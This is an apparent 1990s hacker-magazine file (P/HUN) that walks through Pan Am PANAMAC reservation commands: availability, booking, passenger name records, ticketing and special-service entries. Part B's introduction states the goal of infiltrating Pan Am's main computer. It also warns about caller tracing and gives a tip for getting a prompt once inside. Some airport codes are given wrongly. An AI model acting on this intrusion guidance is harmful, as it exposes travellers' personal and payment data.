JFK and LGA Availabity Display: ------------------- Panamac will display up to 6 lines of both direct and connecting services beginning with the Pan Am flights closest to the time requested. For eg: Lets assume that one the sales agent has made the following entry from Newyork city to Frankfurt: >A 18AUGNYCFRA1800 The Panamac will display the following output: 18 AUG-THU-PA HELI FREE PJ ALTERNATE SERVICE 1PA 72 PAJAYABOHA JFKFRA 1830 0745*1 74X DDD0 715 2PA 4 PAJAYABAHA JFKFRA 1800 1215*1 74* DDD1 1015 : : : : : : : : : [and so on...] Rememeber these are "Direct Flights" not connecting Analyzing the first 2 lines: --------------------------- line 1: ------- 18AUG-THU - The date you requested with the day of the week PA HELO FREE - City Pair Message..Consists of general info ALTERNATE SERVICES - Service other than than direct PA is programmed Line 2: ------- 1 - Line number. PMC will display up to six lines of both direct and connecting service beginning with those flights closer to the time required PA - PA is the airline code for Pan Am 72 - Flight number PAJAYABOHA - Indication of classes for eg: P - Premium First Class J - Premuim Clipper Class (wide body aircraft) Y - Mormal Eco Class B - Apex fare H - Bulk Fare A - This indicate that the flight is available 0 - No seats available (ZER0) JFKFRA - This will tell you the departure and the arrival.Only AIRPORT CODES are used. 1830 - Departure time 0745 - Arrival time *1 - This will show when the flight will arrive one day later 74X - [Self explanatory] DDD - Indicates that meals are served if Blank then no meals served 0 - The NUMBER of time the flight will make a stop between the two airports 715 - Elapased flying timw in hours and minutes. Sometimes after the entry of classes one may see "X plus to digits of the week...For eg. "X13 This means that flights operates only on certain days of the week except Mondays & Wednesdays. If blank then flights are everyday. If no specific departure time is indicated by the passenger an availability entry can be made indicating "A" for A.M , "P" for P.M and "N" for noon. eg. >P23FEBNYCAUS --> In this case the Panamac assumes that its 1700 Short selling ------------- Lets say one of the availability display was as follows: 10DEC 4PA 754 JAYA JFKLHR 600 1200 74X S 0 6:00 The departure is from JFK to london's Hethro Airport Now suppose you wanted to book 3 seats on this flight.They would enter as follows: > N3Y4 N - This the abb. for "need" for the Panamac 3 - Number os seats.In our case 3 Y - This is the class (Y in this case) 4 - This tells us the line number of the Display explained above This method of booking seats is called short selling.[Short Sell] incase you ever ever hear it. The Panamac will respond with: 1PA 754 Y 10DEC JFKLHR HS3 600 1200 1 - This represents the numbers of flights the sales agent has booked PA - The 2 letter code for Pan Am 754 - Is obviosly the flight # Y - The class 10DEC - The date of departure from NYC JFKLHR - Flight going from Newyork City to London HS3 - (H)ave (S)old three seats confirmed 600 1200 - the the departure and arrival time Connecting Flights: ------------------- Many times a passenger travels from point of origin to final destination by connecting from one flight to another at an intermediate point or points This will be a single connection wehn only one point (City) is involved and there is also a concept of "double connection" ... This obviously means that the person changes flights at 2 cities. While viewing the display a typical connecting flight would look like this 5PA 120 PAJAYABAHA 1DEC [ ]LON 600 1200 75X LLL0 600 400 It is a clearly visible that this is a connecting flight because we have the elapsed time (600) and the total elapsed time of connecting service from origin city to its destination (400)...Simple enough huh ? Short selling is also done in this case. Format used: [ N ][# SEATS][CLASS][FROM A DISPLAY LINE][ITS CLASS][FROM LINE] How to display a particular flight: ----------------------------------- Assume that you have the following flight on an availability display 01JAN-FRI- 1PM 90 PAJAYABOHA LAXZRH 1030 0930*1 74X 2 1515 Suppose you make a reservation on flight 90, the 01JAN and want to ask the sales agent where the flights stops en-route and what day the flight arrives. This is what he/she will enter into PANAMAC... >S PA 90 / 01JAN LAX S - Code for schedule PA90 - Carrier code & flight number / - A slash as a separator 01JAN - Departure date from boardpoint LAX - is the broad point.The three letter airport code Output will be: SPA90/1JANLAX LAX JFK ZRH STR TXL 1839 0930*1 1210*1 1400 1030 2015 1135*1 1255*1 Flight 90 departs Los Angeles (LAX) at 1030 and arrives New York (JFK) at 1839,leave New York at 2015, arrives Zurich at 0930 the next day because the (*1) indicate it then leaves Zurich at 1135 that morning arrives in Stuttgart (STR) 1200 ... and so on. . Retrieving Itinerary -------------------- It is sometimes necessary to view the booking. This is done by using the "*" key on the right top of the keyboard.(THE DISPLAY KEY) Then type in "I" for itinerary. >* I Response will look something like this: 1 PA 90 P 13DEC JFKFRA HS3 600 1200 2 PA 95 Y 15DEC JFKFRA HS3 700 1300 [and so on ....] Cancelation : ----------- To cancel the booking in line 2 from above example enter: >X 2 This will cancel the second segment. The Panamac assumes that the flight cancelled is going to be replace by another..so therefore the next flight one books will become the second segment automatically. Response: NEXT REPLACES 2 FLT SEG RELATED FACTS HAS BEEN CANCELED To cancel multiple itinerary just enter Function Key "XITN" Response: ITIN CNLD Alternate Method: Segment Entries --------------------------------- Sometimes the display is not necessary if you know the flight number, Origin - Destination ,CLASS, date, # of seats.This is done by entering whats called a "Flight Segment"...so if the flight is available then Panamac will confirm the seats to you. The "0" key on the keyboard is the "SEG" key. For example if you wanted to book 4 seats from Newyork (JFK) to London's Hethrow Airportt(LHR) in Premium First Class (P) on 3rd July FLIGHT 90 The sales agent would enter: >0 PA 90 P 3JUL JFKLHR NN4 The "0" is the SEGment Identifier.The NN4 means you need 4 seats. Erasing all Flights booked: --------------------------- To ignore all flights booked.The sales agent would enter the IGNORE TRASACTION Function Key.This is the key displayed as "IGN".The key is located fifth from the right side of the function keys. >I response: ALL TRANSACTIONS IGNORED Part IV ------- Single Connections: ------------------ One has to understand in this that sometimes direct connections are not available and therefore a second location must be used. There are also second degree connection(also known as double connections) In this example, an availability request between LAX(los Angeles) and JFK (John F. Kennedy N.Y) requires a connection at a single city. It would look like this: >A 20APR LAXJFK P [This is just an eg. In reality there is a connection] Output: SVC NOT AVAILABLE IN THE SYSTEM %2 or #2 This response obviosly means that there is no connection going between these two points.But after that you may get a percent followed by the month or a number sign followed by the year. This (%) means that the service is going to be offered in 2 months in this case or same applys for the year which is the (#). Therefore the agents have to know how to connect flights. They do supply them a connection availablity chart on the side. So lets say (just as an eg.) that there is a direct connection from the airport in San Francisco(abb. SAN) to JFK and theres also a connection between SAN to LAX.Then obviously SAN is used as a connecting airport.Therefore the agent would enter: >A 20APR LAXJFK P / 1 SAN 100 / 1 A 20APR LAXJFK P - This is a regular entry[See above for more on it] / - This slash has to be be there a separator(compulsory).Also shows connection is to be made somewhere 1 - O.k this will be different as in 3 cases below: 1 - When you are sure that Pan am operates that particular route. 2 - When sure that Pan am does not travel that route or 3 - When not sure which one travels that route. SAN - This is the first connector. 100 - Minimum connection time allowed at the airport. / - Second slash as a separator also compulsory 1 - This entry is for the airline you are connecting to in this case its Pan Am.Use the third entry chart provided in the above eg. Second Degree Connection[DOUBLE CONNECTIONS]: ------------------------------------------- All one must do in this case is just add the another connection after the single connection in the same form.So therefore in the above case if one wants to go from LAX to JFK .He would have to go from: LAX --> SAN -->[another connector airport] --> final destination JFK -------------------------------------------------------------------- NOTE: PANAMAC cannot construct connections at a city if it entails connections bettween different airports, i.e it cannot construct a connection if the arrival is not LaGuardia(LGA) and departures is from JFK or arrive at CDG and depart ORY .....Just imagine the havok it would create if one could do that ? Flight Information: ------------------ PANAMAC provides the capability to display Flight/Arrival Departure Info more commonly known as "FLIFO".FLIFO may be requested from the entire sequence or for the selected broadpoint in an entry: For example: >2 PA 50 F 2APR MCO 2 - This is the FLIFO action code PA 50 - is the flight number F - This is the letter used for request departure/arrival info from selected city. 2 APR - The date of the departure. MCO - is the broad point Output will be: 2 PA50F 2APR MCO /MCO OFF 1529 MIA IN 1611 AN ON TIME ARRIVAL /MIA OFF 1847 LHR IN 0733 This first entry would read as follows: Pan Am flight PA 50 departed at 1529 from MIA and arrived at 1611 - Will indicate on time and so on. To request FLIFO for a selected broad point, Enter 2 PA50 A 4DEC LHR A - This is the request for ARRIVAL/DEPARTURE info at the city in entry 4 DEC - The arrival date LHR - London Hethro Airport which is the arrival city. Output: 2 PA50 A 4DEC LHR /MIA OFF 1847 IN 0733 /LHR OFF 1150 FBU IN 1488 Part V ------ Open Flights: ------------- Often people who are not sure (or not stable:=)) will keep there flight open. This has to be instructed into the Panamac. Suppose the agent has made an entry of: >1 PA 56 P 19APR LAXJFK HS1 1200 1600 The HS1 means that he has booked 1 seat as explained above also. Here in the example the passenger wants a round trip ticket first class an "open" return.Therefore it would be: >0 PA 56 P JFKLAX QQ1 0 - Is the segment id (actually for the open) PA - the ailine code 56 - is the flight number P - is the class QQ1 - This is the action code.Compulsory for the open flight booking Response: 2 PA 56 P JFKLAX QQ1 This has actaully booked a round trip ticket from JFK - LAX "Open" Schedule Displays: ------------------ Sometimes it is necessary to display which airlines fly a particular route when not sure. Suppose the agent wanted to find out the all the airline that travel at a particular date from LAX to JFK then the entry would be: >S 19APR LAXJFK A S - Entry for the (S)chedule 19APR - Date LAXJFK - Self exp. A - Time ,here A.M (could be also P for P.M or N for noon) Output: 19APR-SUN- 1TW 747 FYBQM LAXJFK 1200 1400 73S 0 111 etc... etc... In cases where theres is service only once or twice a week between 2 cities, you might have to make more than one entry to request a schedule display. Eg: >S 1APR LHRSAN (Do not enter time because you want 24 <--day-->24 explained later) Output: NO MORE FOR DISPLAY LHRSAN o.k this mean that there is no service between these 2 points on the day requested.O.k the PANAMAC scans this 24 hours before and 24 hours after the date and time.This means that it has already scanned 3 days.So the next entry would be: >S 3FEB LHRSAN But if there is no flight offered between the 2 points then the system would reply: SVC NOT IN SYS Arrival not Known(ARNK) ----------------------- Suppose a passenger was flying from LAX to JFK then he/she decides to take a bus from JFK to maybe CVA (Cincinati) then from there return to LAX. This would be considered "Arrival Not Known" (ARNK). Lets say a passenger booked a flight from LAX to JFK 1 PA 747 Y 10APR LAXJFK HS3 1200 1600 His route from JFK to CVA is not known. Therefore this will require the ARNK function key. The entry would be: >0 A (or the ARNK function key) Output: 2 ARNK Then lets assume that you have booked a return flight from CVA back to LAX then if you list your Itinerary it would look like: 1 PA 747 Y 10APR LAXJFK HS3 1200 1600 2 ARNK 3 PA 745 Y 20APR CVALAX HS3 1700 2100 Inserting Segment Entries: -------------------------- Mant times its necessary to Insert Segment while booking flights. Suppose a person is flying from Albany (ALB) to Miami (MIA) and back. His segment would look like: 1 PA 747 B 5ARP ALBMIA HS1 100 445 2 PA 747 B 10APR MIAALB HS1 1200 1545 Here the passenger is sure that he will return back to ALB on the 10 of APR no matter what. Now he may proceed to book the rest of the mid flight he wishes to take. So therefore after landing in Miami he wishes to fly to Orlando.Its airport code is MCO for Mc Coy Int. Now the sales agent has to make insert a segment after the first one. Here is how it done: >/ 1 [ Means Insert after segment #1] / - Symbol used to specify "Insert After Segment" Use the "/" or "IAS" key 1 - The Segment #. The Panamac will respond with " NEXT FOLLOWS 1 ". This indicates that your next entry will be after 1. After Inserting segments a "*I" is necessary to renumber the segs. Also if you want to insert a segment before 1 then enter (/ 0). Part VI ------- Inputing Name Entries: ---------------------- After the flights have been booked the second part is to input all the names of the persons who are travelling. O.k lets say 3 people were travelling together (Tom,Bill,Cathy and assuming that their family name is Doe) The entry that is made into the Panamac would be as follows: > -4 DOE / BILL MR / CATHY MRS / TOM MSTR " - " - The name entries has to start with a dash. 3 - Is the number of people travelling DOE - Family name / - slashes are compulsory to separate names BILL MR - bill first name and Mr. is self exp etc.. **Note SPACING IS NOT NEEDED ** The good thing about the Panamac is that the agent can assign up to 17 titles to person which are aleardy hard core programmed: COL. GEN. DR. LCDR. CPT. LTCOL. MR. MRS. MS. STR. MISS. LT. SGT. ADM. MAJ. REV. CDR. Yes Pan Am carries more military personnel than anyother airlines which by the way is a true fact. All other titles are just spelled out. The name entries are counted after the first "/" for the NN3 in our case. ( NN3 as mentioned above means Needed 3) However there is an easy to do this by using the "End Item" key which comes out on the screen as an equal sign with a vertical bar across it. Its just like the IBM ACII VALUE 216. Therefore intread of entering () the agent would just use this key and continue his/her entries for eg: Use "!" at home. >-1SMITHS/JOHN MR @-1JOHNSON./CATHY MRS The "@" represents the "End Item" Key only in our case. Infant Names: ------------- O.k Infant names are not booked into the Panamac but only entered. Infant entries are ignored by stating it.This is done by entering a "I/". Then the # of the Infant eg. >-I / 1 JOHNSON / TWEETY MISS Item Number / Passenger Number : -------------------------------- Every persons are assigned an Item and Passenger number. Well it would be more correct to say passengers. Lets look at this entry: -2SMITH/TOMMR/KATHYMS@-3JOHNSONS/DAVEMR/MICHELLEMS/JODYMRS Now to display the name field the agent would enter "*N" Output: 1.2SMITH/TOMMR/KATHYMS 3.3JOHNSONS/DAVEMR/MICHELLEMS/JODYMRS Here 1.2 means - 1 is the Item Number assigned and 2 is the number of the passengers etc. There is a reason why the Item numbers is not consecutive. Its because there are 2 names in the first entry then obviously 3 follows as the next item number . Also in this case the infant entries are also assigned a number. Changing name entries: ---------------------- Sometimes its necessary to change names in the entries.This is done by the "Change" key then just retyping the whole entry example: 1.2SMITHS/JOHBMR/MARYMRS To chnage "Johb" to "John" the agent would enter: -1 (Change key) 2SMITHS/JOHNMR/MARYMRS Deleting entries is very simple.All the agent has to do is enter the Item # and the Change Symbol (By the way the change symbol looks a square and diagonals crossed in it.) and then press enter. From home you may use the "*" and will work the same. So how does one delete one name from the an entry. That question I will leave up to you guys to figure out.(Hint: Use the Passenger number) Inserting entries can be done in almost the same way by entering the passenger number then the entry eg: >-/1 -SMITH/CATMR The first slash means "Enter after"..In our case the passenger #1. Part VII -------- Completing the Passenger Name & Record (PNR): --------------------------------------------- The whole booking is not yet complete. The sales agent still have to fill three important entries to complete the PNR.These are: 1) By who was the booking RECEIVED(passenger,militaty,T.agency,Company etc.) 2) The TELEPHONE abb. output is "FONE" 3) When the TICKETS will be issued 4) Remarks 5) The age of child if there's one travelling The first three are mandatory to complete the PNR. Numbers 4 & 5 are optional but the agents are encouraged to fill them out just for the records. lets take a looks at the three mandatory ones. This article wont go over the optional ones. RECIEVED: --------- This field as stated clearly above identifies the party who made the booking. The characters cannot exceed over 19.The entry should always begin with a "6".This hardcored to interpret the recieved entry.Then comes the name of the person. For example: >6 MR DAVIS The title always has to come first in case unlike inputing name entries. Lets say if Mr. Davis worked for the American Travel Agency.Then the entry is specified as follows: >6 MR DAVIS/AMERICANTR To Display the Passenger Data - Use "* P" And the Output of the Eg. above would look like: RCVD/RLOC-MR DAVIS/AMERICANTR RCVD - Received RLOC - Record Locater and then the name. Changing these entries is done by the CHANGE key using the same principal of changing name entries.In this case use the field "6" then input change symbol then retype the name. TELEPHONE: ---------- The harcored field used here is "9" not "6". This information is entered by first typing a 9 then the "Source Of Booking" (SOB) [See table provided for this entry] Then a mandatory "*" sign. The SOB relates to the 6th field as we will see. Then comes the Phone number. If a passenger (D) booked a flight the letter "H" for Home or "B" is followed by the telephone number and if its an agency/commercial/Interline then the name is used. S.O.B Table: ------------ Direct (Passenger) - 9 D * Military - 9 G * Government - 9 G * Commercial - 9 C * Travel Agent - 9 A * Interline - 9 I * Lets say you booked a flight and your phone number was 7185551234 and that was your business number, the Entry made would be: >9 D * 718/5551234 B If the "*P" is invoked then it would display : RCVD/RLOC -MR DAVIS FONE-NYC-A 718/5551234 B The "FONE" serves to indicate the Telephone field. The the NYC has nothing to do with the NPA of the passengers phone number but it indicates the city location of the Panamac set where the booking was made. The "A" after the NYC is taken from the S.O.B table. Passenger Relating: ------------------- The first entry in the FONE field always belongs to the person/company/ Travel agency etc in the RCVD field. You can enter additional phone numbers using the same format as the first FONE entry. On additional entries,you must specify which passenger or passengers the phone number is for. This is done by including in the FONE entry the PASSENGERS NAME NUMBER of the person(s) who can be reached at that phone. This proccess is called PASSENGER RELATING Lets say we have the entry: 1.2SMITH/JOHNMR/MARYMRS 1 PA 56 B 19APR JFKLAX HS2 600 1000 RCVD/RLOC-AMERICAN TR. AGENCY FONE-NYC-A 718/555-1234 H The Smiths, John & Mary have the same home fone number.Therefore passenger 1-2 have the same #s.This has to be specified into the PANAMAC by: >9 1-2 A* 718/555-4321 H To display NAME,ITINENARY,RCVD AND FONE at the same time enter: >*R (Record) Output: 1.2/SMITH/JOHNMR/MARY COL 1 PA 56 B 19APR JFKLAX HS2 600 1000 RCVD/RLOC-AMERICAN TR. AGENCY FONE-NYC-A 718/555-1234 American Tr.Agency 2.1-2 NYC-A 718/555-4321 H etc... Changing entries is a simple task. Lets assume the sales agent wants to change the first FONE entry which is for the Travel Agency.The command would be: >9 1 (Change Symbol) A* [FONE number & and the name of the agency] 9 - fone entry 1 - First entry.(2.)would be the second FONE entry which is the Passenger home fone number.( If there was a third entry it would start with (3.) and so on.. A* - From SOB Deletion of the entries I will leave you to figure out. Address Entries & Payment: -------------------------- The Address entries and the form of payment are included in FONE entry as well. This was the Info is stored in the PNR until the time of ticketing. Address: [Use same format] >9 1-2 C* 42-95 ELM STREET / FLUSHING N.Y 10011 Payment: >9 D * AX 1234 567 11111 EXP 9/90 MR DAN DAVIS Ticket Entries: --------------- The Entries in the Ticketing field tell us if the passengers already has a ticket or when and how its going to be issued.(Mail etc.) or when its going to be cancelled.A ticketing code is issued for these situations: Ticket Codez ------------ W - Here ticket will be issued on the date entered. Passenger will pick it up on that date. U - The ticket is mailed here(TBM) on date entered Q - Here the ticket will be given by the travel agency on date entered O - Ticketed The field used here is "7" hardcored for Ticketing purposes. Typical entry: >7 W APR19 Usually one day after is added to APR19 so that passenger has the whole day to purchase the ticket. The entry then would look like: >7 W APR20 * APR 19 The "*" is mandatory. Mailing: ------- Lets look at an example of TBM: >7 U 19ARP * CK FOR CHECK This is entered when waiting for the passengers check to arrive. On 19APR its checked for arrival. If arrived then the tickets are mailed. If check is not received then tickets are not mailed. If the payment is made by a Credit Card then entry is: >7 U 19APR * CC This agent will refer to the fone field where the CC info is stored. Here the ticket is mailed on the date issued. Outside U.S travel agencies are given a Ticket Time Limit. The entry is: >7 Q 5MAY When showing PNR ticketed with the letter "O". Its not necessary to enter a date, as the Panamac already enters it that the reservation is being ticketed Enter: >7 O [assume that the date today is 5may] PANAMAC will display: TKT-O 17APR NYC 000 [SINE OF THE AGENT WHO MADE THE ENTRY] TKT-O - IS THE TICKET CODE 17APR - TODAYS DATE MYC - PANAMAC SET LOCATION 000 - SEPARATOR [ ] - SINE OF THE AGENT If all passengers are having thier tickets issued at the same time and place, passenger relating is not necessary. But, if the passengers have different dates or ticketing arrangements then the entries must be made separately and Passenger Name Related. For eg. Assume there are 3 passengers on the PNR. Passenger 1 and 2 will call for their tickets at the Pan Am office and June 3. Passenger 3 wants his ticket mailed on June 6 and will pay by personal check. The entries are: >7 1-2 W 3JUN >7 3 U 6JUN * CK FOR CHECK Output: TKT-1-2 W03JUNNYC000[SINE OF AGENT] 2.3 U0JUNNYC000[SINE OF AGENT] CK FOR CHECK Here the 1-2 is the first entry related to the passengers 1 & 2 and 2.3 is the second entry related to passenger 3 NYC - location of P.set Change/Delete : --------------- Suppose the display for the ticket field was: TKT-W08APRLAX000BS Here the ticket will be issued on the 8th of APR. The Panamac set is located in LAX(Los Angeles). Also after the sepater (000), the BS is just an example of a SINE of the agent. Lets assume today is 7th of APR and the passenger has come to pick it up. The agent has to instruct the PANAMAC that its TICKETED. Therefore he/she would enter : >7 1 (Change Symbol) O Here: 7 - This is the field of the ticketing 1 - is the entry number O - New Information One has to remember that if changing related TKT entry then just enter Passenger Name number after the Change Symbol. Then the new Inforamtion. It may look like "7 1 (Change Symb.) 1-2 W 19APR" To delete an entry just enter Field , Entry # then the Change Symb. End Trasaction:(ET) ------------------- The PNR is now complete. After completing it the agent must End Transaction (ET).This key is located as one of the function keys. >ET Output: A OK 4SW#32G The 4SW#32G is called the RAD NUMBER or RECORD LOCATER or PNR ADDRESS. After Ending Trasaction the PANAMAC will send a message to all the airline in the Itinenary advising them of the flights the agents have booked/requested and name of passenger. SHELL PNRS ---------- Some records like travel agencie's accounts, corporate accounts and thier FT number, Tel #, Address etc. have to be stored permanently in the PNR. Therefore Panamac has what called SHELL PNRs. Here file will become a permanent and reusable record. A shell PNR can be retrieved by the account number, Telephone number and ARC (Airline Reporting Corporation) or IATA(International Air Transport Association). The ARC/IATA use last 5 Digits numeric plus check digit The entry to display a shell PNR before beginning normal PNR creation begins with the letters "RP" then a "*" then comes the Account Number. Example: >RP*7183589901 Ouput would be: NYC PA A QH 24FEB88 2034 NO NAMES NO ITIN FONE-NYC-A 718/358-9901/*ARC 413453 2.NYC-A AMERICAN TKT-024FEBNYC000BS DKIR RMARS-* The Itinenary may now be booked and the PNR completed as usual. Shell PNRs may also be retrieved using the following entries: ARC/ATC # - RP*ATC494340 [use last 5 numbers numeric plus check digit] IATA # - RP*ITA945934 [Also use last 5 numeric plus D.C] Account Code Number - RP*ACN7734 (In some countries only] Shell PNRs can be merged with PNRs by just entering a "M" after the RP. Retreiving a PNR: ----------------- After the sales agent completes a PNR. It is sent to the Master Computer at Rockleigh,N.J. To retreive a PNR , enter "*" and the PNR ADDRESS or by using the flight,date and boarding off and on points and name of passenger eg: >* PA 56/10AUG MIANYC - DAVIS The hyphen is mandatory here. The Panamac's output will be: PA56/10AUG MIANYC - DAVIS 01 3DAVIS/TOMMR/CATHYMRS/FIFIMS 02 1DAVIDSON/SHASHI : etc : To retrieve the entries just choose the line number then enter: >*2 The "*" has to be there or errors will ocurr. [No comand probably] Anyway the "*2" will give you the account for Davidson. To cancel a PNR you retrive just enter the "IXTN" in the fuction keys. END OF PART A ------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= = P/HUN Issue #3, Volume #2: Phile #6 of 11 = =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= /X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X X / / The Pan Am Airline Computers (c)1994 "PART B" X X --------------------------------------------- / / X X By Red Knight / / X X A P/HUN Magazine Incorporation Productions / / X X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/ Introduction & clearing up a confusion -------------------------------------- Welcome to Part B of "The Pan-Am Airline Computers". I hope you have found the first part intresting. I would like to take this opportunity in clearing up a minor confusion that some of you may have while reading the first part of this file. There are 2 types of systems I talk about in the first part which are: o Pan-Am main computer & o The Panamac or PANAMAC The Pan-Am main computer is used to store and view performance of the entire network. Pan American has 3 main computer systems to serve the surrounding states. These are located in Florida, Washington and NewJersey. There may exsist one in California but we dont have enough proof to be sure.Although they may have smaller terminals connected to these 3 major terminals and all the material that is covered here also applies for these smaller terminals. The Panamac are computers that are used by sales agents to book flights, give information and the works. Although the Pan-Am main computer can also handle all the tasks that the PANAMAC can. Here is what the the Pan Am network looks like: Example of a simplified Pan Am Network -------------------------------------- Cartridge & The Panamacs will be in the same building. Like the major Pan Am building in Manhatten in Newyork. _____________________________________________ Sub Terminals | | | +------ & Other +---- Panamac +-------|-+ airlines ______________ |---- Panamac | Pan-Am | +----------+ + + |---- Panamac Sales Agents | main |--| Sub |--|Cartridge Area|---|---- Panamac on each terminal | computer| | Terminal | +______________+ |---- Panamac +---------+ +----------+ |---- Panamac | |______________ +---- Panamac Sub Terminal Other Agencies The cartridge area is where they insert physical cartridges for new rates of travelling, new routes , cancellation of rountes etc. The Panamac uses all this information supplied by the cartridge area so that the Sales agents can answer our various questions and book us flights. The cartridge area contains the main program for the Panamac's to run. All the information from the cartridge area is passed to the sub terminal then to the main computer The surrounding states may connect to one or many sub terminals then finally leading to the main computer. Our main purpose here is to infiltrate the main computer where all the information is stored and has control over the entire network that it serves. I have heard from employees that Pan-Am has the latest on ANI equipment and therefore please proceed with caution. Another thing is that when you have successfully hacked the system and you dont get the SOM ">" prompt then type in ">SOMTERM" and hopefully you will end up with the SOM. I hope this has cleared the confusion and now lets continue. Part VIII --------- Host Facts ---------- The Host facts field contains 2 types of entries: Other Service Information (OSI) entries which give information about passenger so that they can be offered proper assistance or recognition. A passengers speaks (SPKS) only a language other than English or Meet and assist (MAAS) and this passenger is elderly and needs assistance. Into the OSI goes anything pertinent from age to language, that they should know in order to talk to the passwngers as an individual. All the entries in the FAX field begin with digit 4. The code "PA" os used to send message to Pan Am only, This special information is entered as follows: >4 OSI PA_MAAS PSGR ELDERLY ASSIT IN TRANSIT A space is madatory only after PA then free form test is permitted. OSI information will be transmitted to the airport so that the appropriate action may be taken. In addition, special 4 chracter codes are to be used if the OSI details are to be taken transmitted directly to the airport check system. >4 OSI PA SPKS SPANISH ONLY >4 OSI PA FRTV PA62634678J-STARK/AMR If the passenger's description does not match one of the codes listed in the system enter the information as free form test after the "PA" For eg. >4 OSI OA VIP MAYOR OF N.Y In addition there is a special format to indicate that a passenger is an infant (INF) which include the age indicated in months (1yr=12MTS) For eg. >4 OSI PA INF DAVIDSON/JR MSTR 5MTHS Note: If there are two or more infants traveling, seperate OSI entries must be made for each other Part IX -------- Special Service Requirements (SSR) entries which require prior arrangements for something special to be provided to the passenger at the airport or on the plane. Entries in this category arrange for a specific item. (e.g. special meal) to be provided on a flight for the passenger, or to advice the Airport the passenger is traveling with something which may require advance preparation: e.g a large pet in cargo or a large amount of excess baggage. Since we are requesting that a specific items be provided (e.g special meal be put on the flight), the entry is made with an action code. At the same time, the entry is related to a specific segment(s) in an intinenary and to a particular passenger name(s) in the PNR. We need to look at an example. Here is a PNR: 1.1 SHAH/BUPENDRA 2.1EZRA/AMR 1 PA 66 P 19APR JFKBOM HS2 2145 0015 RCVD/RLOC-MR SHAH FONE-NYC-D 212/555/1234/H TKT-026FEBNYC00020 Mr. Shah wants a vegetarian meal. Here is the entry: >4 A VGML FS1 S1 N1 Lets break this down: 4 - 4 field A - Means add SCR VGML - Vegetarian meal code FS1 - Action Code (free sell ) + Number requested. S1 - Related to Segment 1 N1 - Related to Name number 1 Look at this PNR carefully. The entry relates the special meal in this case vegetarian to the first segment (S1) and to the first passenger, Mr. Shah, who is name number 1 (N1). When re-displayed, the HA FAX field appears as follows: HA FAX-SSRVGML.PAHS01 PA0066P19APRJFKBOM 1SHAH/BUPENDER Information about Pan Am policy and procedures governing some SSR entries can be found in KISSR. Here is a display of the index: SSR STATION INFORMATION INDEX BASSINETS B SPECIAL MEALS S WHEELCHAIRS W In the KISSR you will find description and codes for all special meals and facts about the current meal and wheelchair policy. Not all SSR items may be freely sold (FS). The R.M describes the procedure for requesting (needing) special service requirements. For example, request (NN) on: Special meals within 8 hours of departure or Excess baggage over 150 kilos (350 lbs) Looks at this example: Mr. C. Tuc in addition to his free allowance has baggage which will weigh about 175 Kkilos. The entry will be: >4A XBAG NN 175KGS S1 N2 . RECORDING EQUIPMENT XBAG - This is the excess baggage code NN - Action code 175KGS - Weight in Kilos S1 - Segment number N2 - Name number 2 . - This separator which is compulsory RECORDING EUIPMENT - Text In this case there is also a description of the excess baggage. The description or text is mandatory for this entry. The period(.) which acts as a separator preceeds the text. All SSR entries regarding excess baggage must include a text and may relate to only one passenger When redisplayed, the HA FAX field now apprears follows: HA FAX 1.SSRVGMLPAGS01 PA0066P19APRJFKBOM 1 SHAH/RMR 2.SSRKSMLPAHSO1 PA0066P19APRJFKBOM 1 TUC/AMR 3.SSRXBAGPANN0175KG PA0066P19APRJFKBOM 1 TUC/AMR RECORDING EQUIPMENT SSR Name relating ----------------- In from of each name is a name item number. You already know that PANAMAC assigns numbers for each different surname in a PNR. Also, each passenger has a passenger name number. In the FACTS example so far, the item number and the passenger name number were the same. A B C 1. 1AOKI/LSMRS 2. 1YAMADA/YRMRS 3. I/1YAMADA/GLENMSTR 1,2,3 are Name Item NBR & the A,B,C are passenger name numbers When you relate an SSR fact, your entry really refered to the name item i.e N2 refers to all the passengers in name item 2 (in this case only Mrs. Yamada) If however the entire Yamada family had been travelling together as in the following example the name item include more than one name: 1.1AOKI/LSMRS 2.3YAMADA/GOMR/YRMRS/LAMISS 5.1/1YAMADA/GLENMSTR 1 PA 82 Y 16 NOV HNLAX HS4 2300 0604 1 PA 81 Y 28 NOV LAXHNL HS4 1300 1702 If you SSR entry showed name relation to name N2, then the request would be for all the passengers in NAME ITEM 2... Mr/Mrs/Miss Yamada/ To show a special request for only one passenger in a name item, use a slash (/) after the name number. The slash acts to "separate" an individual passenger from the name item may which may include multiple passenger. For example: Mrs Yamada is name NBR 3. To confirm a baby meal on both flights the entry would be: >4A BBML FS1 S1/2 N3/ The N3 indicates the name number only Change/Delete/Cancel -------------------- If you are in the process of making an SSR entry and you have ended the transaction, no action has yet been taken on the request, You can therefore delete the entry. For example >4 3 [change symbol] You on the other hand while at home can user "*" which works the same way. The 4 is the field, the 3 is the Fact ITEM number . You cannot modify an SSR entry to correct it. If your entry is incorrect, you must delete the entry and reenter the correct SSR fact itme. In all instance, whether working on a new or retrieved PNR, cancellation of an itinenary segement will automatically cancel the related SSR item. For e.g. you have booked: 1.1BROWN/HARRYMR 2.1TOBAR/EMILEMR 1 PA 100 Y 13NOV JFKLHR HS2 1000 2140 Before ending transaction you notice you accidentally confirmed the wrong date. After cancellation of the incorrect segment, the HA FAX SSR item will look like this: HA FAX 1.SSRKSMLPA(XX)02 PA0100Y13NOVJFKLHR 1BROWN/HARRYMR 1 TOBAR/EMILEMR Cancelled SSR entries will automatically be removed from the PNR when you End Trasaction. Now you would rebook the correct flight and the Kosher meals. Part X ------ Other Airlines...General Facts ------------------------------ The GFAX or the General Facts, 3 filed contains the same (2) types of entries as the Host Fax...OSI and SSR..Entries in the GFAX are included to outgoing messages to other airlines upon ending trasaction. When an itinerary includes space on another airlines, you must use the GFAX field to notify the other airline about the special requirements or service information. All entries in GFAX befin with the digit 3. To send "OSI" information to one (1) other airlines, use the applicable carrier code. For instance, if the passenger is an infant travelling on PA and AF, you notify Air France that you booked an infant by sending an OSI message. The entry is: >3 OSI AF INF JONES/MARK MSTR 5 MTS This is in addition to an OSI entry in the 4 field to notify Pan Am at the airport, Thus 2 entries with the same information are required. >4 OSI PA INF JONES/MARK MSTR 5 MTS If a passenger's itinenary include more than one other airline, use the letters 